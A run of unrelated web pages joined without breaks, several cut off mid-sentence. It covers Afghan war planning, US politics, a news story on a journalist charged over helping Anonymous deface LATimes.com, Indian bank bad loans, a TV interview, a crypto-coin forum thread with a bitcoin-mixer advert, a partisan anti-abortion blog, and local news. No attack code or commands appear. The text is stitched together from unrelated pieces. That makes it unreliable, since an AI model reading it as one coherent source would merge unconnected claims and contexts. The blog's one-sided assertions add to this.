‘‘We are not expanding the military footprint, we are thickening it,’’ Salvin said, referring to plans to have more trainers and advisers working directly with Afghan troops and officers in lower-level units, rather than being limited to dealing with senior officers. All 11 of the country’s military and police academies, he said, are in the capital.
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One top priority is to quickly expand the size and capacity of the Afghan special forces — highly trained commandos who have often had to replace or rescue regular Afghan troops in battle crises. About 17,000 regular soldiers would be moved into the special forces, doubling their size. They would be trained by hundreds of international Special Operations forces, mostly Americans, who would account for about 25 percent of all new foreign troops.
A second priority is to improve the effectiveness of regular army and police forces, which have struggled with a variety of problems from illiteracy to corruption, and whose members often fail to reenlist. As with the special forces, the new foreign advisers would be able to work more closely with military and police officers at the brigade level.
Another continuing job would be to provide air support for ground troops, medical evacuation and troop transport, as well as to improve the effectiveness of the Afghan air force, ultimately allowing its fighter pilots to totally replace Americans. Afghan officials have repeatedly said that better air support alone would make a critical difference in the war effort, and Nicholson has called it a key ‘‘offensive capability.’’
A new focus would be to attack corruption, incompetence, and poor coordination among Afghan security agencies — shortcomings that Ghani and US officials have identified as major problems. New foreign instructors at army and police academies would focus on these issues, and US advisers would work with Afghan officials to weed out corruption, notably by requiring biometric military enrollment to reduce the large number of ‘‘ghost soldiers’’ being paid with US funds.
‘‘The two existential threats to the Afghan state are the Taliban and corruption inside the security forces,’’ Donahoe said. Efforts to professionalize and motivate the country’s defense forces, he said, ‘‘would be for naught if the leaders are corrupt and inept.’’ Ghani, in a startling speech this month, slammed the Defense and Interior ministries as ‘‘the most corrupt’’ in government, and he recently replaced dozens of senior security officials, including the defense minister.
The additional foreign troops would also fill technical and support roles, especially an aviation brigade that repairs and maintains US-made military helicopters and other aircraft. Most would be rejoining their own military units and replacing highly paid private contractors, who are hired mainly to keep the level of US deployed forces at or below approved levels.Four taps of the microphone were all Michelle Obama needed to take down Donald J. Trump.
“Hillary Clinton is tough,” Mrs. Obama, the first lady, told a crowd of several thousand in Charlotte, N.C., on Tuesday. “See,” she continued, “I’ve watched her when she gets knocked down — she doesn’t complain. She doesn’t cry foul.”
Tap, tap, tap, tap.
It took a second for the audience to catch on: Mrs. Obama was mocking Mr. Trump’s complaint that a faulty microphone had hindered his performance in his first presidential debate with Mrs. Clinton. But as Mrs. Obama continued — “No, she gets right back up, comes back stronger” — the mostly young and heavily African-American crowd let out a deafening howl.
They called her “the closer” during Barack Obama’s 2008 campaign, like a go-to relief pitcher used sparingly but with devastating effect. Mrs. Obama preferred spending time with her daughters over attending political rallies. But when she was unleashed before a pivotal caucus or primary, her story of growing up on the South Side of Chicago and falling in love with a young community organizer had an unmatched, almost magical power to turn out voters, campaign officials discovered.
Eight years later, Mrs. Obama is playing a similar role for the woman whom she helped her husband defeat in that race.Reuters social media star Keys faces up to 25 years in jail for allegedly helping Anonymous hack LATimes.com
The Justice Department indicted Reuters social media editor Matthew Keys on Thursday for allegedly conspiring with the hacktivist collective Anonymous to deface the website of The Los Angeles Times and other Tribune Co. newspapers. According to the indictment (read it below), Keys, using the handle AESCracked, gave Anonymous hackers access to Tribune servers. Keys had recently been fired from Tribune-owned TV station KTXL FOX 40 and still had valid login credentials — so he allegedly unleashed Anonymous, urging the group to "go f**k some s**t up."
They did, kind of. This headline ran on LATimes.com for roughly a half hour on Dec. 14, 2010:
SEE MORE: My friends prefer smoking pot to talking to me. Help!
According to chat transcripts in the indictment, the same hacker, "sharpie," also had a full front-page layout of the Chicago Tribune ready, but was thwarted by Tribune system administrators. Federal prosecutors are leveling three charges against Keys — conspiracy to transmit information to damage a protected computer, transmitting information to damage a protected computer, and attempted transmission of information to damage a protected computer — and while he is, of course, "innocent unless and until proven guilty in court," says Doug Mataconis at Outside the Beltway, it sure looks like "the Feds have an airtight case."
How did the feds track him down? Well, Keys has written about his interactions with Anonymous, from the perspective of a journalist interacting with the notorious hacker collective, and in one article for Reuters "he even talks about a hack involving the front page of LATimes.com, but without indicating he was involved in any way," says Jeff Bercovici at Forbes. On the other hand, maybe the feds just read Twitter. Two years ago, before his arrest, an Anonymous über-hacker named Sabu (Hector Xavier Monsegur) tweeted this:
http://tinyurl.com/mattkeysexposed AESCracked/Matt Keys was former producer for Tribune sites. Gave full control of LATimes.com to hackers.
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— The Real Sabu (@anonymouSabu) March 22, 2011
Since the same prosecutor that took down Sabu is going after Keys, "this raises two big possibilities," says Sam Biddle at Gizmodo: "Sabu turned in Keys for a slightly better deal with the government, or perhaps the FBI is hoping to get Keys to roll on his former friends as well." Either way, 25 years for "providing login information that resulted in a joke headline which lasted 30 minutes" is "enormously steep, given the alleged crime."
Biddle isn't alone. This is Trevor Trimm of the Electronic Frontier Foundation:
Anyone horrified by the amount of jail time @ thematthewkeys faces can go here to tell Congress we need CFAA reform: bit.ly/TWuRvg
SEE MORE: What Sen. Rob Portman's change of heart means for gay marriage
— Trevor Timm (@trevortimm) March 14, 2013
"Keys is being charged under the general federal conspiracy statute and under the Computer Fraud and Abuse Act (CFAA), the same act under which Aaron Swartz was charged," says Justin Peters at Slate. Swartz, the co-founder of Reddit, committed suicide in January before he was to face charges for allegedly downloading millions of files illegally from MIT computers. He, like Keys, was threatened with jail time, of up to 35 years. And the similarities don't end there. The vagueness of the CFAA — passed in 1984, to nab "sophisticated, malicious hackers" targeting the only entities networked at the time: Banks, universities, and the federal government — allows prosecutors to push for "outrageously severe" punishments like this, for whatever reasons. In this case, "just like with the Swartz case, the feds are going to use the threat of a huge maximum sentence to intimidate Keys into accepting a plea bargain."
The DOJ doesn't want to lock Keys up for 25 years, but they'll be more than happy to pretend they do in order to get the outcome they really want — likely for Keys to spend no more than a few months in jail and provide information about members of Anonymous.... The government wants Anonymous pretty badly, but I'm not sure what their actual game is here. Do they think Keys will roll over and lead them to other Anonymous members in exchange for a reduced sentence? Are they trying to make an example out of Keys so that other people will think twice before cooperating with Anonymous? Or are they simply being disproportionate and unreasonable out of habit? Apparently, they didn't take away any lessons from the Aaron Swartz case. [Slate]Claire McCaskill, a Missouri Democrat, has been in the Senate since 2007. (Lauren Victoria Burke/AP)
Sen. Claire McCaskill (D-Mo.) announced on Monday that she has breast cancer and will take a short leave of absence from the Senate for treatment.
The announcement, made on her Tumblr page, gives few details about the stage or severity of her cancer, noting only that she learned of the diagnosis after a recent, regular mammogram and that she expects to have “a full recovery.”
“It’s a little scary,” McCaskill wrote, “but my prognosis is good.”
During the three weeks she expects to be back in St. Louis receiving treatment, McCaskill will be posting information on how she would have voted on any matters she misses while away, she said. She also plans to submit written questions for the Senate hearings she will miss.
McCaskill, who came to the Senate in 2007, sits on the Armed Services Committee, the Committee on Commerce, Science and Transportation, the Committee on Homeland Security and Government Affairs, and is the ranking Democrat on the Senate’s Special Committee on Aging.LEARN ML-Agents
The Unity Evangelists are invading! They will be in from all over the world to teach you and share the latest news. We will cover recent updates to the ML-Agents (https://github.com/Unity-Technologies/ml-agents), one of the most popular open source projects in our community! Our lead machine learning engineer, Arthur Juliani, will join us to show you these new features and exciting demos. We will also announce our very first machine learning community challenge at that night. See you there!
Here's a video:
https://drive.google.com/open?id=1VBv3xNtZua6QDiIoRG6DJBenH7xJJeIF
Opening 0:03:00Dylan + Carl
Machine Learning0:20:00Mike Geig + Arthur Juliani
Neon demo with Timeline0:20:00Carl Callewaert2D 0:15:00 Andy
Touch DCC Importer 0:10:00 Mark Schoennage
Scripatable Render Loops 0:20:00Bryan
MAKE FRIENDS OVER FOOD AND DRINK
- Continually the largest Unity meetup in the world with awesome devs
- Specific networking time
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QUESTIONS?
I don't work for Unity, but try to celebrate community. Have questions, feedback or want to present? Contact Dylan Jones or tweet me @tDJ.
*Please RSVP soon as space can be limited and we can only let folks in on the listThere are a lot of false accusations being thrown around by the abortion lobby as to why pro-life advocates oppose abortion. It’s frustrating because I know most (if not all) of these accusations are wrong. Many abortion supporters mean well. However, they’re basing their arguments on information that is carefully shaped propaganda. Those advocating abortion may not be intentionally lying, but the organizations that are supplying their materials and facts ARE.
The Tactic
It’s a dirty but sly move. These attacks are tried and true persuasive tactics to keep doubting followers in the fold. Attack the other side with arguments like “They don’t care about women” or “They think women deserve to be raped.”
Straw Man
The abortion lobby is hoping their followers will have the same response as you or I: “That’s terrible! I don’t want to be associated with those kind of people!” Many will not investigate whether this information is true. It’s called a straw man argument which is a fallacy. A straw man can be defined as,
Substituting a person’s actual position or argument with a distorted, exaggerated, or misrepresented version of the position of the argument.
Obviously, no decent person would support neglecting women or agree with the sentiments that anyone deserves to be raped—we certainly don’t.
Reason
The purpose is to stop people who are on the fence from further considering contradictory information. They don’t want you to think about the facts, they want you to think about the misrepresented argument. That is, if you’re doubting your pro-choice views they are hoping you’ll think, “Oh wait, they don’t care about women,” or “They don’t take care of people already born.” Those on the fence shutdown their reasoning and take the shortcut: “At least pro-choicers care about women and taking care of the poor and…” Ha. It’s a persuasive technique that politicians use all the time. I should know. I’m a Communication major. I’ve spent years learning how people communicate and how messages can be crafted to manipulate their audience. This isn’t secret conspiracy theory information. It’s basic persuasion. Planned Parenthood and the rest of the abortion lobby are using it to its full effect—and they don’t care who they mislead or hurt along the way.
Good Intentions
This is a shocking statement that many abortion supporters won’t expect coming from an “extremist” like me: I don’t think all or even most who are in favor of abortion are bad people or have bad intentions. In fact, I’m certain most abortion supporters are supporting and defending what they believe is a good thing. Certainly, few would support a position they thought was wrong or harmful. They are being misled by a multimillion dollar lobby who stands to lose hundreds of millions of dollars a year should abortion be de-legalized. There is a lot of money being tossed around to keep the public in the dark and misinformed. You have an industry that’s personalized and idealized abortion to the point of it bearing a remarkable resemblance to religious fanaticism.
Follow the Money
Take a look at Planned Parenthood’s revenue,
Planned Parenthood reports that 45 percent of their revenue is from the government. In 2012-2013, it received $540.6 million in taxpayer funding, while reporting more than $1.3 billion in net assets.
Let’s take it a step further, according to the Susan B. Anthony List (using PP’s own financial report,)
In 2012, abortions made up 93.8% [327,166] of Planned Parenthood’s pregnancy services
In addition to the $1.3 billion in net assets, the Susan B. Anthony List goes on to report,
Planned Parenthood reported $58.2 million in excess revenue
Buy Our Product
Like any “good” business, they need people to buy their service. Abortion is their service. They don’t exist to help women, they exist to make money. Like many corporations, they will do everything in their power to protect and lobby for their dominant source of income—in this case, abortions. Even if it means lying. They don’t care how their service affects women. They don’t care they are killing human beings. They want you to think their service is for the good of humanity and will take all steps to make sure you don’t see the bloody and disturbing truth of their main product.
Certainly, a business wouldn’t mislead the public—would it? You know, like that time when Philip-Morris advertised they were helping the world and not producing cancer sticks. In any other setting, people would be suspect of health information from a massive corporation claiming their is nothing dangerous about their product. Yet with abortion, many people throw this skepticism out the door.
We’re Dirt Poor
In comparison, the vast majority of pro-life organizations are dirt poor. In fact, we’re fighting for a day where we’ll go bankrupt. If we can bring an end to abortion there will be no need for us. Many of us don’t receive government funding. Most of us rely solely on donations. Nullify Abortion currently operates on something like $10 a month in revenue. The rest of our expenses come out of our own pockets. (Consider donating!)
Life affirming crisis pregnancy centers aren’t much different. I’ve volunteered and toured several and know many people who are intimately involved in them. These organizations are struggling just to keep their doors open. They provide low-cost and/or free health services along with material support to women. They don’t make a profit and few (if any) are able to pay their employees competitively. They rely almost exclusively on charity and volunteers. If you want to compare motivation and intentions consider that.
We sacrifice much and volunteer our time to oppose something we know is wrong and, if we’re successful, will eliminate the need for our organizations. We want to shut our doors—as long as its because there is no need for us. A multimillion dollar behemoth that receives millions in taxpayer funds and walks away with millions of each year in excess revenue is afraid of a bunch of nonprofits and volunteers—ask yourself, why?
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RedditFor many Indian banks, keeping asset quality impeccable at any cost is the Holy Grail to satisfying investors and pushing up their valuations. From now on, they will find it difficult. India’s banking regulator seems to have cracked the Da Vinci code of lending in the world’s fastest growing major economy.
Early this month, Yes Bank Ltd’s annual report for fiscal year 2015-16 showed that the lender’s assessment of bad loans in the previous fiscal year was very different from that of the Reserve Bank of India (RBI). For 2016,Yes Bank had disclosed gross non-performing assets (NPAs) of Rs748.9 crore, but the RBI’s assessment of the bank’s correct level of gross NPAs was, hold your breath, more than six times higher—Rs4,925.6 crore. Had Yes Bank assessed the quality of its loan assets the way RBI would have liked it to, its 0.8% gross NPAs would have been 6%.
As a result of this divergence, the difference in provisioning for the year stands at Rs858 crore. This would have pared the bank’s net profit by 22%.
As far as the net NPAs are concerned, there has been a divergence of Rs3,319 crore between Yes Bank’s reported figure and the RBI’s assessment.
There has been a divergence between the RBI assessment and the actual reporting of bad loans by at least two other private-sector lenders—ICICI Bank Ltd and Axis Bank Ltd. At ICICI Bank, the difference in gross NPAs was to the tune of Rs5,105 crore, leading to an additional provisioning of Rs1,071 crore in 2016.
At Axis Bank, the banking regulator had found a gross NPA divergence of Rs9,478 crore, raising its bad loans in the last fiscal year to Rs15,566 crore.
If we assume that the regulator’s assessment is correct, then Axis Bank’s gross NPAs in 2016 would have made up 4.5% of its loan book against the reported 1.78%. At ICICI Bank, gross NPAs would have been 7% against 5.85%.
In fiscal year 2016-17, Yes Bank reported 1.51% gross NPAs; Axis Bank 5.52% and ICICI Bank 8.74%. To what extent they would rise following the RBI’s inspection of their loan books is anybody’s guess at this point.
Probably these three banks are no exceptions. Such divergence between the RBI’s assessment of the loan books and banks’ recognition of bad assets may come to light at a few others, including government-owned ones, when they make public their annual reports although the quantum of “underreporting" may vary.
The genesis of this is an RBI notification on 18 April which says, “There have been instances of material divergences in banks’ asset classification and provisioning from the RBI norms, thereby leading to the published financial statements not depicting a true and fair view of the financial position of the bank." The regulator advised the banks to make adequate disclosures of such divergences in the notes to accounts to their annual financial statements.
RBI inspectors found these when they |
Lincoln is good for her, and that he’s brought this strength out, but Lincoln always saw that strength. He was just able to coerce it out a little more and allow her to be more of herself. Lincoln is not a Grounder who fights first and asks questions later. He’s trying to understand the world, much more so than most. He says that the world has been trying to turn him into a monster, as long as he can remember. Ever since childhood, he’s questioned the Grounder ways and the brutality of it all, and then he found someone, wanted to care for them and wanted to learn. Lincoln is not just a warrior. He’s very much a curious young chap who wants to know more about different worlds, so that they can all help each other.
Octavia is between worlds right now. Do you think that’s because she never had a normal life on the Ark?
ROTHENBERG: Octavia was never accepted. She was ironically a second-born child on the Ark, which meant she was persona non grata and had to live under the floor essentially as a secret, so she never belonged anywhere. She felt a bit of belonging, in Season 1, with the hundred and certainly with Lincoln. Now, she’s definitely drawn to the world of the Grounders. I think her arc is one of the most exciting in the show, from a spoiled kid saying, “We’re back, bitches!,” to where she is now. I could not imagine the character, as she currently exists, saying that line. I think she’ll find her place.
Could Octavia be more accepted by the Grounders than Lincoln has been?
WHITTLE: You’ll see quite an opposite journey between the two. Lincoln starts off not even speaking. He’s a silent warrior who’s very stoic. You’ve seen him become more climatized to the Arkers. He listens to their ways and he understands that they’re not as brutal in their ways. On the other side of the spectrum, you have Octavia saying, “We’re back, bitches!,” coming right to saying, “You can shove it up your ass,” and she takes a pounding from a Grounder and keeps on going. She’s got braids in her hair, and it’s a whole transformation. She’s coming who she is. This is what she always was. She was always strong. Even in the pilot, she was a strong girl. So, you see this journey that’s physical and emotional for Octavia. She’s becoming who she’s meant to be, which is this strong warrior. I guess that’s why she was drawn to Lincoln. She saw this strength in Lincoln, as he saw in her. They both seem to be coming more towards a middle ground.
ROTHENBERG: They’re bridge characters. They bridge the worlds.
WHITTLE: It’s not necessarily whether two halves can make a whole, but whether two individuals can make something better. They’re taking the best from each world and hopefully creating a superhuman race.
ROTHENBERG: I have always seen them as the romantic heart of the show. It’s the one real relationship in the show, romantically. Finn and Clarke were, but that’s a thing of the past now. To me, that relationship is symbolic of what two people can do. If they can make it work, then maybe the Grounders and the Sky People can make it work.
What can you say about where Monty and Jasper are at?
ROTHENBERG: Monty is screwed. He’s in a bad way. Whether he makes it or not, you’ll have to tune in and see. Obviously, Jasper is going to be at his wit’s end because his best friend is missing. But, that’s a story for the next episode. We get heavily back to the Mount Weather story now, for the rest of the season.
There are clearly some big battles coming up. Will the battle at Mount Weather decide the war, or is it just one stop on the journey?
ROTHENBERG: The story gets told, this season. I like it when things change. Otherwise, I get bored, creatively and watching as a fan. We tell story very quickly. Some would say too quickly, at times. But, we will resolve things. We’re not going to leave big mysteries out there, hanging for years and years and years. I don’t love that. We just finished making the finale, and we turn things around again, the way the White Room turned things into this season. Because we’ve been amazingly blessed to have been told that we’re having a third season, it was already my plan to do it, but there were a few conversations about whether I should make a series finale or a season finale. Now, we know that we’re going to keep telling the story and playing with these characters. I think people won’t be disappointed with the big turn that we take, next season.
The 100 airs on Wednesday nights on The CW.During Summer Streets NYC 2019 around seven miles of Gotham turf along Lafayette Street and Park Avenue is completely car-free in order to create a pedestrian paradise. Hundreds and thousands of revelers descend upon the asphalt for invigorating sight-filled tours, plus free activities including a rock climbing wall, a zipline, outdoor art installations and misting stations. You won’t want to miss this year’s five rest stops which normally include fitness classes, a dog park, arts and crafts workshops, plus walking tours that explore NYC parks and some of the most beautiful NYC buildings. This is one of the best NYC events in August, so make sure to hit the streets for the first three Saturdays. We'll be sure to alert you when it's time to sign up for popular attractions such as the water slide and other hot-ticket items.
RECOMMENDED: Full guide to things to do in the summer in NYC
When is Summer Streets?
Summer Streets takes place over three consecutive Saturdays in August 2019. Dates TBA.
Where is Summer Streets?
There are five rest stops during Summer Streets. The Foley Square Rest Stop (Dunae and Centre Sts) offers extreme sports such as the infamous zipline. The Soho rest stop (Spring and Lafayette Sts) is the fitness zone where folks can take free workout classes. The Astor Place rest top (Astor Pl and Lafayette St) is an Outdoor Adventure course called “Climb Every Mountain.” The Midtown rest stop (25th Street and Park Ave) is dubbed “City Picnic: Food Glorious Food,” which will be a grub and beverage sampling area. And the Uptown rest stop (51st St and Park Ave) is the Children’s Corner.Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins
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PTseller
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I ❤ www.LuckyB.it!
LegendaryActivity: 1148Merit: 1000I ❤ www.LuckyB.it! Re: [ANN][REBORN] Dubstepcoin January 02, 2014, 11:48:44 AM #2
can i mine from wallet with this command? setgenerate true can i mine from wallet with this command?
Nullu
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Hero MemberActivity: 532Merit: 500 Re: [ANN][REBORN] Dubstepcoin January 02, 2014, 11:53:26 AM #3 Please do it right this time dev. I like this coin. I will mine it if the launch goes smoothly.
Drop those beats. BTC - 14kYyhhWZwSJFHAjNTtyhRVSu157nE92gF
Sebii
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NewbieActivity: 11Merit: 0 Re: [ANN][REBORN] Dubstepcoin January 02, 2014, 03:22:05 PM #6
I might as well set up pool if everything works out Going to mine for sureI might as well set up pool if everything works out
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Full MemberActivity: 239Merit: 100 Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 01:00:15 AM #8 lol, cant be worse than last time right?
DARK LORD CTHULHU BE PRAISED - OFF - QgdYCLwJAE8CA287xUVi5Zkv6NN9PDaA78
https://bitcointalk.org/index.php?topic=294383.0 BTC - 16CCpAqNiuqVNkihfEY3UjDsR5UAFYbiMXDARK LORD CTHULHU BE PRAISED - OFF - QgdYCLwJAE8CA287xUVi5Zkv6NN9PDaA78
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NewbieActivity: 42Merit: 0 Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 02:56:46 PM #9
as much as I enjoy the occasional dubstep.. why would you "reborn" this? so if i mine 3 coins i'll get a wubwubwub?as much as I enjoy the occasional dubstep.. why would you "reborn" this?
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NewbieActivity: 42Merit: 0 Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 03:12:18 PM #10 what's with the reserved posts by random people. I mean I get the concept of the OP reserving 1-2 slots right after his initial post but random people reserving.. that's just silly.
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MemberActivity: 112Merit: 10 Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 03:14:25 PM #11 Quote from: innocentpixel on January 03, 2014, 03:12:18 PM what's with the reserved posts by random people. I mean I get the concept of the OP reserving 1-2 slots right after his initial post but random people reserving.. that's just silly.
Some people have nothing going for them in life.
It makes them feel special / important / useful / notawasteofoxygen to say "reserved"
I imagine many of them sound like this IRL: "HURRRRRRRRRRRR". Some people have nothing going for them in life.It makes them feel special / important / useful / notawasteofoxygen to say "reserved"I imagine many of them sound like this IRL: "HURRRRRRRRRRRR". Tagbond Rewards - My TAG ID is 4183 - Tag someone today with a reward, get your own TAG ID
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Don`t panic! Organize!
LegendaryActivity: 1360Merit: 1000Don`t panic! Organize! Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 05:46:13 PM #16 Put damn sources on git, we want to prepare... just don't go online node that have 1st hard coded block... Bitcoin stuff on my OneDrive
My RPC CoinControl for any coin
Some stuff on 1Rav3nkMayCijuhzcYemMiPYsvcaiwHniMy RPC CoinControl for any coin https://bitcointalk.org/index.php?topic=929954 Some stuff on https://github.com/Rav3nPL/
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NewbieActivity: 11Merit: 0 Re: [ANN][REBORN] Dubstepcoin January 03, 2014, 06:03:35 PM #19 Quote from: rav3n_pl on January 03, 2014, 05:46:13 PM Put damn sources on git, we want to prepare... just don't go online node that have 1st hard coded block...
I think It's okay to put up the sources on release as all other coins usually do. It's fair as long the official pool doesn't start exactly on the spot. I think It's okay to put up the sources on release as all other coins usually do. It's fair as long the official pool doesn't start exactly on the spot.Sheikh Abdulaziz Al-Asheikh calls ISIS threats against Israel a 'lie,' claiming the jihadists are 'part of the Israeli soldiers.'
Sheikh Abdulaziz Al-Asheikh, the Grand Mufti of Saudi Arabia, issued a whopper of a conspiracy theory on Monday, claiming that Islamic State (ISIS) jihadists are actually "Israeli soldiers."
Speaking to the Saudi Gazette, Asheikh said ISIS members are "harming" Islam and Muslims.
"They cannot be considered as followers of Islam. Rather, they are an extension of Kharijites, who rose in revolt against the Islamic caliphate for the first time by labeling Muslims as infidels and permitting their bloodletting," said Asheikh.
The Grand Mufti then spoke about ISIS leader Abu Bakr al-Baghdadi's threat against Israel made in an audio recording on Saturday, in which al-Baghdadi said, "Palestine will not be your land or your home, but it will be a graveyard for you."
"This threat against Israel is simply a lie. Actually, Daesh (ISIS) is part of the Israeli soldiers," claimed Asheikh.
Ironically Jürgen Todenhöfer, the only Western journalist allowed into ISIS territory, reported this week that the jihadists revealed to him during his 10-day stay among them that the IDF is the only army they fear.
Asheikh's claims echo those made by the Iranian semi-official Fars News Agency back in October, when it claimed an IDF colonel had been captured fighting for ISIS in Iraq. The conspiracy theory was patently false, not least of all from the absurd dog tag number the paper listed for the supposed soldier.
Iranian officials have long claimed Israel and the US created ISIS, with Brig. Gen. Mohammad Reza Naqdi, head of Iran's Basij paramilitary force, just last month claiming Israel was behind the lethal Paris attacks, as opposed to ISIS. Asheikh's comments would seem to show that while Iran and Saudi Arabia are fierce Shi'ite-Sunni rivals, they unite in blaming Israel for ISIS.
While ISIS is an enemy, rather than a tool, of Israel, the brutal jihadist group does have support from a large swath of Israel's Arab population.
ISIS supporting terrorists have on a number of occasions tried to attack Israel from within, including several homegrown ISIS cells.
A poll last month found that 18.2% of Arab Muslim citizens of Israel do not consider ISIS to be a radical terrorist organization, and that they are not ashamed of the brutal jihadist group. That figure jumped to 28.1% among Arab citizens who are supporters of the radical Islamic Movement in Israel.What could make bike riding even more efficient? How about a bike path embedded with solar panels to produce clean energy while encouraging people to get on their bikes? The town of Krommenie in the Netherlands, just north of Amsterdam, will be receiving the SolaRoad bike path, scheduled to open in 2012.
Developed by the Province of North Holland, the Ooms Avenhorn Group and Imtech, the solar bike path will be constructed with a concrete base, topped with a 1 cm thick layer of crystalline silicon solar cells. The solar cells will then be protected by a thick, heavy-duty glass surface strong enough to drive a truck over it. The SolaRoad is estimated to generate 50 kw hours of electricity per square meter per year which will be used to power street lights, traffic systems, and perhaps even households along the SolaRoad system.
The SolaRoad project is part of the Dutch government’s commitment to renewable energy. Their vision is to have an entire network of roads encapsulated with solar panels throughout the country. In the meantime, it will be interesting to learn what cyclists in North Holland think of riding on this glass-surfaced bike path.
Springwise via InhabitatNice ice, baby!
A rare blue diamond weighing 122.52 carats has been unearthed in South Africa, and experts believe it’s the most valuable uncut diamond ever.
“The rarity of a blue diamond of this magnitude sets it apart as a truly significant find,” said a spokeswoman for the lucky mining firm, Petra Diamonds, which dug up the sparkler in its Cullian mine near Pretoria.
The company will analyze the rock before putting it on the market sometime after June 30, but it’s expected to fetch tens of millions of dollars — shattering the world record for priciest diamond.
“So far, the highest price on record paid for a rough diamond was $35.3 million, paid in February 2010, for a 507-carat white stone,” finnCap analyst Martin Potts told the BBC.
“We think that this stone may break that record,” Potts declared.
A huge and incredibly rare, 122-carat blue diamond has been found in South Africa. The giant sparkler is expected to fetch well over $35.3 million USD - smashing the world record for the most expensive diamond ever found. Splash News The precious rock was unearthed in the Cullinan mine near Pretoria by experts at the British firm Petra. The same mine was also home of the 'largest rough gem diamond' ever - the famous Cullinan Diamond - which was discovered in 1905 and cut into two stones that are now included in the UK crown jewels. Splash News The exquisite jewel is currently being assessed for its precise value. It is expected to go on sale by the end of this month. Splash News Ad Up Next Close Lights go out, delaying Yankees-A's game The Yankees-A’s game is being delayed due to an outage... 3 View Slideshow Back Continue Share this: Facebook
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AdvertisementPOLICE say the Bruce Highway at Gympie will remain closed for hours yet as they work to clear the road after a horror smash earlier this morning.
Three semi-trailers, including a wide-load carrying a 71-tonne bridge support being escorted by police, and two cars, one a ute being driven by a man on his way to work, collided with horrific consequences about 5.30am.
The highway was blocked in both directions about 12km north of Gympie at Chatsworth after a semi-trailer travelling south-bound clipped a stationary semi which had pulled over to allow the wide-load to pass, heading north. It reopened around 1pm.
The semi-trailer has then clipped the wide load, run into the parked semi-trailer, ricocheted into one of the escort vehicles and has then collided head-on with a ute, also travelling north, being driven by a private citizen behind the wide-load.
Did you see the crash? Email details and pics or MMS to 0428 258 117
The impact of the collision meant the 71-tonne concrete bridge support being escorted north-bound was knocked off the wide-load and has fallen in a way that it has blocked the highway completely.
It got worse just after 11am when one of the diversion roads designed to detour motorists around the Bruce Highway near Gympie was closed in both directions due to a serious two-car crash.
The Gympie-Woolooga Rd was closed by police but reopened just before 1pm.
A man was airlifted to Nambour Hospital with cuts to his head and face and possible internal injuries while another man, driving a ute, was taken to hospital as a precaution.
The original incident took place about 3km south of the Wide Bay turn-off and police have warned the Bruce Highway will remain closed until it can be cleared.
A Queensland Ambulance Service spokeswoman said two people had been taken to hospital by paramedics, the driver of the semi-trailer who collided with the vehicles and the utility driver.
``There doesn’t seem to be any life-threatening injuries, though,’’ she said.
Queensland Fire and Rescue Service Gympie acting station officer Grant Feeney said it was lucky no one had been seriously injured.
``It didn’t look real good when we got out there,’’ he told The Courier Mail.
``We were fortunate that it didn’t result in worse injuries to people.
He said fire fighters spent the bulk of the morning working to contain a large diesel spill coming from one of the semi-trailers.
Motorists should avoid the area if possible although police diversions are in place along the Cooloola Coast for cars and trucks.
There are no diversions in place for B-double trucks, however and traffic is built-up in the area.
Originally published as Seven hours of chaos on highwayIndia’s first space observatory Astrosat has started capturing images of the outer space, the first of which was released on Twitter by Indian Space Research Organisation (Isro) on Monday.
The multi-wavelength mini Hubble-type space observatory captured the image of Crab Nebula, a remnant of a supernova and the brightest hard X-ray source in the sky, last Friday.
The nebula was not detected during Astrosat’s first orbit because the satellite ‘happened to pass through the South Atlantic Anomaly (SAA) region when Crab was in the field of view’, Isro said in a blog post.
The SAA, also called the ‘Bermuda triangle of space’, can produce ‘glitches’ in astronomical data, problems with the operation of on-board electronic systems, and premature aging of computer, detector and other spacecraft components.
The detectors were switched off during this interval in the initial days of Astrosat operation.
Isro also wrote about the difficulties faced by the team after Astrosat failed to capture the Crab Nebula in its first orbit.
“A quick look at the first orbit image showed that Crab Nebula was not detected. Most likely, the data pruning was erroneous,” the blog post said.
“A tense session of self-introspection followed. Questions followed one after the other to explain the strange behaviour. Did the Mission Operation team make any error in orienting the satellite? Well, CZT-Imager has a wide field of view and it is too embarrassing to even pose the question whether they made such a large mistake in pointing,” it added.
But later on October 9, the Crab Nebula was finally detected and observed parallely by both Mission Operation Centre in Bengaluru and Payload Operation Centre of the IUCAA in Pune.
The following is an image of Crab Nebula in hard X-rays above 25 keV. The bright spot near the centre indicates Crab.
Isro is now planning to use Astrosat to look at some black hole sources like GRS 1915+105, Cygnus X-1, Cygnus X-3 in November. The space agency said all X-ray instruments (CZTI, LAXPC and SXT) would be made operational in the following month and space observatory will be ready to study other celestial bodies.
India launched Astrosat on September 28 to become the member of a select group of space organisations to have a lookout in orbit after the US, Japan, Russia and Europe. The satellite launch came just a year after Isro’s first interplanetary mission, Mangalyaan, entered the orbit of Mars.
First Published: Oct 13, 2015 17:38 ISTMother Jones reports that Amendment II, a Salt Lake City-based company that manufactures lightweight body armor for law enforcement and military use, has seen its sales of bullet-proof backpacks go through the roof. "I can't go into exact sales numbers, but basically we tripled our sales volume of backpacks that we typically do in a month—in one week," company president Derek Williams told Mother Jones.
The company website explains how to use the bullet-proof bags in an emergency: "Hold bag between yourself and the shooter using the straps as handles. Use as a shield to provide cover for upper torso and head whenever possible. While taking shelter use bag to protect yourself in the direction of the threat. While running away, hold bag high on your back or in the direction of the threat to protect your head and upper torso (vital organs)."
It's not just the shooting that has people frightened. "A lot of people buy body armor for the breakdown of society and government," Williams told Mother Jones.2016 Learn-To-Row Fall Session Rockett's
Coach: Matt Thomas
The Virginia Boat Club's Learn-To-Row program teaches adults how to sweep row in a rowing shell (4 or 8 person boats with a coxswain). The program consists of twelve classes, approximately 1.5 to 2 hours each.
In the class students will learn proper rowing technique both on indoor rowing machines and on the water. Students will learn parts of the stroke, blade technique as well as rowing terminology and boat safety. In the event of rain, classes will be held indoors.
For each class bring water to stay hydrated. Form fitting clothing is best, as baggy clothing can get caught in the sliding seat as you row. You will also need athletic shoes and sports socks.
The twelve classes will be held on Mondays and Wednesdays at 6:00 PM and on Saturday mornings at 8:00 AM beginning Saturday October 1st.READER COMMENTS ON
"O'Reilly Unrepentant, But Tones Back 'Tiller the Killer' Rhetoric on First Show Since Murder"
(57 Responses so far...)
COMMENT #1 [Permalink]
